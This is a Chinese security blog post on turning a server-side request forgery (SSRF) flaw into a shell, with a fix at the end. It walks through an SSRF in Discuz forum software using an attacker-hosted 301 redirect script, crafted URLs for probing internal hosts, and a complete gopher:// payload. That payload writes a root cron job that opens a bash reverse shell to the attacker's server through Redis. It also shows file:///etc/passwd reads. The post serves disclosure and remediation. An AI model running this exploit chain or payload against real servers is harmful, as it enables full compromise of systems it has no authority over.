SSRF到GET SHELL(附修复方案)

背景

SSRF一般用来探测内网服务,但由于应用层使用的Request服务(curl/filegetcontents)一般不只是支持HTTP/HTTPS,导致可以深层次利用。

检测方式

PHP和Java的检测方式类似,找到Request的时候URL的入参是否可以外部控制来判断是否存在SSRF。(已加入Cobra扫描规则)

PHP

/**
 * file_get_contents SSRF Example
 *
 * @author Feei <[email protected]> * @link   http://wufeifei.com/ssrf
 */
# 任意文件读取
$url = 'file:///etc/passwd';
echo file_get_contents($url);

# 操作Redis
$url = 'dict://127.0.0.1:6379/info';
echo file_get_contents($url);

/**
 * CURL SSRF Example
 *
 * @author Feei <[email protected]> * @link   http://wufeifei.com/ssrf
 */
function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_exec($ch);
    curl_close($ch);
}
# 任意文件读取
$url = 'file:///etc/passwd';
curl($url);

# 操作Redis
$url = 'dict://127.0.0.1:6379/info';
curl($url);

Java

利用方式

拿常用的Curl举例,Curl默认支持的协议非常多。

$ curl -V
curl 7.47.1 (x86_64-apple-darwin15.3.0) libcurl/7.47.1 OpenSSL/1.0.2g zlib/1.2.8  
Protocols: dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp  
Features: IPv6 Largefile NTLM NTLM_WB SSL libz TLS-SRP UnixSockets  

攻击影响获得最大化必须得GET SHELL,通过dict/gopher协议来操作Redis写反弹SHELL是目前最方便的姿势。

使用SSRF操作Redis实战

利用@Jannock发现的Discuz中一处SSRF,即可GET SHELL。 也就是说只要你使用了Discuz论坛,那么就可以直接GET SHELL。

漏洞影响

只要有一处SSRF(此处用Discuz举例),既可能造成GET SHELL,获取服务器所有权限。

Discuz的一处SSRF

Discuz代码中存在一处远程下载图片的action

# source/module/forum/forum_ajax.php
if(preg_match('/^(http:\/\/|\.)/i', $imageurl)) {  
    $content = dfsockopen($imageurl);
} elseif(preg_match('/^('.preg_quote(getglobal('setting/attachurl'), '/').')/i', $imageurl)) {
    $imagereplace['newimageurl'][] = $value[0];
}

如果$imageurl是http开头的,则使用dfsockopen远程访问该链接的图片。

那么就可以通过301跳转到一个内网服务上,用来探测内网信息。

构造探测图片

通过构造一个远程的伪图片,目的是为了绕过Discuz对入参的检测要求。

http://feei.cn/301.php  

301.php

<?php  
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];
header("Location: $scheme://$ip:$port/$data");  
?>

构造一个跳转到dict://10.11.2.220:6379/vulture.jpg的地址,如下:

http://feei.cn/301.php?s=dict&ip=10.11.2.220&port=6379&data=vulture.jpg  

我们让其301到一个内网ip的6379端口,然后根据整个请求完成的时间不同来判定该服务是否存在(时间在1s以内说明存在,超过超时时间的则目标服务不存在),构造链接如下

http://bbs.xxx.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://feei.cn/301.php?s=dict%26ip=10.11.2.220%26port=6379%26data=vulture.jpg[/img]

http://bbs.xxx.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://feei.cn/301.php?s=dict%26ip=10.11.2.221%26port=6379%26data=vulture.jpg[/img]  

上面链接请求10.11.2.220的80服务只需要100ms,10.11.2.221不存在80服务,返回使用了6s

GETSHELL

通过dict或者gopher都能操作Redis。 @猪猪侠在wooyun上公布的脚本使用的是dict协议,但经过测试并不能写入正确的cron。

我这里使用的是gopher,不需要像dict协议那样多步构造(flushall/set key/set directory/set dbfilename/save),只需要一个请求就可以GET SHELL。

gopher://{redis_server}:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1%20*%20*%20*%20*%20bash%20-i%20>&%20/dev/tcp/{your_server}/{your_server_listen_port}%200>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a  

只需要让我们的301.php跳到上面地址,即可写入定时任务(cron),得到反弹SHELL。

其它利用姿势

除了写cron拿到SHELL,还有还几种姿势。

修复方案

大部分请求外部资源底层都是基于curl,curl默认支持的协议比较多。

所以只需要通过配置curl禁止使用除http/https以外其它协议即可解决该问题

source/function/function_filesock.php  

在_dfsockopen方法内增加

curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);  
验证修复

在一台内网服务器(10.11.2.220)上开启一个8080端口

python -m SimpleHTTPServer 8080  

然后访问触发SSRF的地址

http://bbs.xxx.com/forum.php?mod=ajax&action=downremoteimg&message=[img]http://feei.cn/301.php?s=dict%26ip=10.11.2.220%26port=8080%26data=helo.jpg[/img]  

查看是否有请求的回显,没有则说明修复好了

Reference